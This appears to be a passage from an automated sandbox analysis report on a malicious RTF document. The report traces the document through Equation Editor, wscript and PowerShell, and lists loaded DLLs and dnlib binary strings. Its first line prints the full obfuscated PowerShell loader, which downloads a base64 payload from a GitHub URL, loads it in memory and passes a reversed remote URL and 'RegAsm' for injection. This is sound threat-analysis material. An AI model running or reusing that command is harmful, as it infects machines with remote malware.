Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:comspEc[4,15,25]-jOIN'') (('Ibpu'+'rl'+' = gzJhttps:'+'//'+'raw.'+'githubuser'+'cont'+'ent.com/NoDetec'+'t'+'On/NoD'+'etectO'+'n'+'/re'+'fs'+'/he'+'ads/m'+'ai'+'n/'+'De'+'tahNot'+'h-V.'+'tx'+'tg'+'zJ; Ib'+'pbase64'+'Con'+'tent ='+' (New'+'-'+'Obj'+'ect S'+'yst'+'em.Net'+'.Web'+'Client).Down'+'lo'+'adS'+'trin'+'g'+'(Ibpurl'+'); Ibpbinary'+'Content = '+'['+'Sy'+'stem.Convert]::Fro'+'mB'+'ase64'+'Strin'+'g(Ibpb'+'a'+'se64Co'+'ntent'+'); Ibpassembl'+'y = '+'[R'+'e'+'fl'+'ection'+'.Assembly]'+'::Load(Ibpbinary'+'C'+'o'+'ntent); [dnlib.IO.Home]:'+':VAI(p7jtxt.VG'+'FRR/001/02'+'.022.3.29'+'1'+'//'+':ptthp'+'7j,'+' p7'+'jdesativadop7j, p'+'7jde'+'sativ'+'adop7j,'+' p7'+'jdesativado'+'p7j'+', p7jRegAsm'+'p7j'+', p7'+'jp7j,p7'+'jp7j)').ReplaCe('gzJ',[STRIng][ChaR]39).ReplaCe('p7j',[STRIng][ChaR]34).ReplaCe('Ibp','$') )" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: IpEmBW3Qw5.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\IpEmBW3Qw5.rtf
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.380118041.0000000000859000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.385123337.0000000004430000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.pdb.pdbt.Automation.pdb source: powershell.exe, 00000008.00000002.385304370.0000000004F90000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.380118041.0000000000859000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.385123337.0000000004430000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.pdb source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000008.00000002.385613212.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.382187322.0000000004289000.00000004.00000800.00020000.00000000.sdmp
